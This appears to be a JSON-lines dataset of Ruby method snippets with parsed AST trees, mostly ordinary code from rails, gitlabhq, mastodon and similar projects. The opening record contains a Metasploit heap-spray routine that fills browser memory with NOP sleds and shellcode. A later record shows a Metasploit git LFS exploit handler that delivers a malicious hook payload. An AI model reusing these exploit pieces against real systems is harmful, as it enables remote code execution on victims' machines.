end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"get_spray\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"js_code\"]},{\"type\":\"arg\",\"children\":[\"js_nops\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"randnop\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    var heap_obj = new heapLib.ie(0x20000);\\n\"]},{\"type\":\"str\",\"children\":[\"    var code = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"    var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_nops\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"    var nops = unescape(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    while (nops.length < 0x80000) nops += nops;\\n\"]},{\"type\":\"str\",\"children\":[\"    var offset = nops.substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    while (shellcode.length < 0x40000) shellcode += shellcode;\\n\"]},{\"type\":\"str\",\"children\":[\"    var block = shellcode.substring(0, (0x80000-6)/2);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    heap_obj.gc();\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    for (var i=1; i < 0x300; i++) {\\n\"]},{\"type\":\"str\",\"children\":[\"      heap_obj.alloc(block);\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]}]}]}]}]}","id":"193a5a16-8c7b-4917-b3ab-66e3cc6acf02"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":654,"raw_source":"def join_id_for(owner) # :nodoc:\n        Array(join_foreign_key).map { |key| owner._read_attribute(key) }\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"join_id_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"owner\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"join_foreign_key\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]},\"_read_attribute\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"72f2ccc9-ed94-43dc-8c2a-325352b97c75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/batch_loader.rb","start_line":23,"raw_source":"def respond_to_missing?(method_name, include_private = false)\n    return true if __sync!.respond_to?(method_name, false)\n\n    super\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__sync!\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"86587594-677b-443e-aeeb-a85d476a233f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/snippets/bulk_destroy_service_spec.rb","start_line":132,"raw_source":"def repository_exists?(snippet, path = snippet.disk_path + \".git\")\n    gitlab_shell.repository_exists?(snippet.snippet_repository.shard_name, path)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"disk_path\"]},\"+\",{\"type\":\"str\",\"children\":[\".git\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_shell\"]},\"repository_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"snippet_repository\"]},\"shard_name\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"d49ddb70-5778-4791-9e13-8956c578b0ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/external_authorization/cache.rb","start_line":44,"raw_source":"def reason\n        # `nil` if the cached value was an empty string\n        return unless @reason.present?\n\n        @reason\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reason\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reason\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivar\",\"children\":[\"@reason\"]}]}]}","id":"5fb293e9-9ff5-4ffa-b6c0-0cc2725e9242"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/dns_helpers.rb","start_line":70,"raw_source":"def permit_redis!\n    # https://github.com/redis-rb/redis-client/blob/v0.11.2/lib/redis_client/ruby_connection.rb#L51 uses Socket.tcp that\n    # calls Addrinfo.getaddrinfo internally.\n\n    DnsHelpers.redis_hosts.each do |host|\n      allow(Addrinfo).to receive(:getaddrinfo).with(host, anything, anything, :STREAM, any_args).and_call_original\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permit_redis!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DnsHelpers\"]},\"redis_hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Addrinfo\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"getaddrinfo\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"anything\"]},{\"type\":\"send\",\"children\":[null,\"anything\"]},{\"type\":\"sym\",\"children\":[\"STREAM\"]},{\"type\":\"send\",\"children\":[null,\"any_args\"]}]},\"and_call_original\"]}]}]}]}","id":"6949d668-a52c-4905-8190-12e18a608d21"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20220606044941_create_webhooks.rb","start_line":4,"raw_source":"def change\n    create_table :webhooks do |t|\n      t.string :url, null: false, index: { unique: true }\n      t.string :events, array: true, null: false, default: []\n      t.string :secret, null: false, default: ''\n      t.boolean :enabled, null: false, default: true\n\n      t.timestamps\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"webhooks\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"43baf5cd-b9e6-4976-8add-a815352a99d5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/documentation_comment.rb","start_line":39,"raw_source":"def interpreter_directive_comment?(comment)\n        /^#\\s*(frozen_string_literal|encoding):/.match?(comment.text)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"interpreter_directive_comment?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^#\\\\s*(frozen_string_literal|encoding):\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"text\"]}]}]}","id":"f72a7c0b-088c-4dce-9428-cc58be5220b6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/modules_test.rb","start_line":153,"raw_source":"def test_nested_models_should_not_raise_exception_when_using_delete_all_dependency_on_association\n    old = ActiveRecord::Base.store_full_sti_class\n    ActiveRecord::Base.store_full_sti_class = true\n\n    collection = Shop::Collection.first\n    assert_not collection.products.empty?, \"Collection should have products\"\n    assert_nothing_raised { collection.destroy }\n  ensure\n    ActiveRecord::Base.store_full_sti_class = old\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_models_should_not_raise_exception_when_using_delete_all_dependency_on_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_sti_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_sti_class=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shop\"]},\"Collection\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"products\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"Collection should have products\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"store_full_sti_class=\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]}]}","id":"6b8c9a81-e210-454b-b5b8-d7286b50a09a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/auth_hash.rb","start_line":58,"raw_source":"def has_attribute?(attribute)\n          case attribute\n          when :location\n            get_info(:address).present?\n          when :organization\n            get_info(:organization).present?\n          when :job_title\n            get_info(:job_title).present?\n          else\n            get_info(attribute).present?\n          end\n        end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_attribute?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_info\",{\"type\":\"sym\",\"children\":[\"address\"]}]},\"present?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_info\",{\"type\":\"sym\",\"children\":[\"organization\"]}]},\"present?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_info\",{\"type\":\"sym\",\"children\":[\"job_title\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_info\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"present?\"]}]}]}","id":"cfac9d7f-8ccd-45ff-98fe-e6c704a0fa21"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/google_cloud_storage.rb","start_line":126,"raw_source":"def api_token\n        api_token = Spaceship::ConnectAPI::Token.from(hash: self.api_key, filepath: self.api_key_path)\n        api_token ||= Spaceship::ConnectAPI.token\n        return api_token\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"api_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Token\"]},\"from\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filepath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_key_path\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"token\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_token\"]}]}]}]}","id":"426d0be7-4ad7-4875-89cd-6919bd8fb542"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/git_lfs_rce.rb","start_line":170,"raw_source":"def handle_lfs_objects(req, hook_payload, git_addr)\n    git_hook_obj = GitObject.build_blob_object(hook_payload)\n\n    case req.method\n    when 'POST'\n      print_status('Sending payload data...')\n      response = get_batch_response(req, git_addr, git_hook_obj)\n      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response\n    when 'GET'\n      print_status('Sending LFS object...')\n      response = get_requested_obj_response(req, git_hook_obj)\n      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response\n    else\n      fail_with(Failure::UnexpectedReply, 'Unable to handle client\\'s request')\n    end\n\n    response\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_lfs_objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]},{\"type\":\"arg\",\"children\":[\"hook_payload\"]},{\"type\":\"arg\",\"children\":[\"git_addr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"git_hook_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitObject\"]},\"build_blob_object\",{\"type\":\"lvar\",\"children\":[\"hook_payload\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending payload data...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get_batch_response\",{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"lvar\",\"children\":[\"git_addr\"]},{\"type\":\"lvar\",\"children\":[\"git_hook_obj\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Client request was invalid\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending LFS object...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get_requested_obj_response\",{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"lvar\",\"children\":[\"git_hook_obj\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Client sent invalid request\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to handle client's request\"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"e738cf90-87c4-4746-9008-28a70a935ac1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/draft_note.rb","start_line":134,"raw_source":"def self.preload_author(draft_notes)\n    ActiveRecord::Associations::Preloader.new(records: draft_notes, associations: { author: :status }).call\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preload_author\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"draft_notes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"draft_notes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]}]},\"call\"]}]}","id":"c62b7315-f34c-4e94-acad-81ff7f7c3414"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_usage_serializer.rb","start_line":48,"raw_source":"def users\n    object.user_breakdown.map do |user|\n      {\n        avatar_template: User.avatar_template(user.username, user.uploaded_avatar_id),\n        username: user.username,\n        usage_count: user.usage_count,\n        total_tokens: user.total_tokens,\n        total_cached_tokens: user.total_cached_tokens,\n        total_request_tokens: user.total_request_tokens,\n        total_response_tokens: user.total_response_tokens,\n        input_spending: user.input_spending,\n        output_spending: user.output_spending,\n        cached_input_spending: user.cached_input_spending,\n      }\n    end\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_breakdown\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"avatar_template\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"uploaded_avatar_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usage_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"usage_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"total_tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_cached_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"total_cached_tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_request_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"total_request_tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_response_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"total_response_tokens\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_spending\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"input_spending\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_spending\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"output_spending\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_input_spending\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"cached_input_spending\"]}]}]}]}]}","id":"9e48a14f-8a97-417f-bec7-d96506e6f963"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/peek/views/active_record.rb","start_line":30,"raw_source":"def summary\n        detail_store.each_with_object({}) do |item, count|\n          count_summary(item, count)\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"detail_store\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"count_summary\",{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"b2c0882e-ee7e-4033-a9a1-5efc11d49cbf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/fix_auth/models.rb","start_line":49,"raw_source":"def self.contenders\n      super.includes(:field).where(:miq_ae_fields => {:datatype => 'password'})\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"contenders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"includes\",{\"type\":\"sym\",\"children\":[\"field\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_ae_fields\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datatype\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]}]}]}]}]}","id":"7a18ce9a-fbb4-4511-84b1-304374fadeb2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":1134,"raw_source":"def test_count_with_include\n    assert_equal 3, authors(:david).posts_with_comments.where(\"length(comments.body) > 15\").references(:comments).count\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_count_with_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"posts_with_comments\"]},\"where\",{\"type\":\"str\",\"children\":[\"length(comments.body) > 15\"]}]},\"references\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},\"count\"]}]}]}","id":"5d134916-fcc5-4a00-a51b-431da05113d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_note_data_service.rb","start_line":27,"raw_source":"def delete_note(opts)\n    json_to_mdm_object(self.delete_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"delete_data\",{\"type\":\"const\",\"children\":[null,\"NOTE_API_PATH\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"NOTE_MDM_CLASS\"]}]}]}","id":"d150a113-3e2e-475a-a1e9-148fabee833e"}
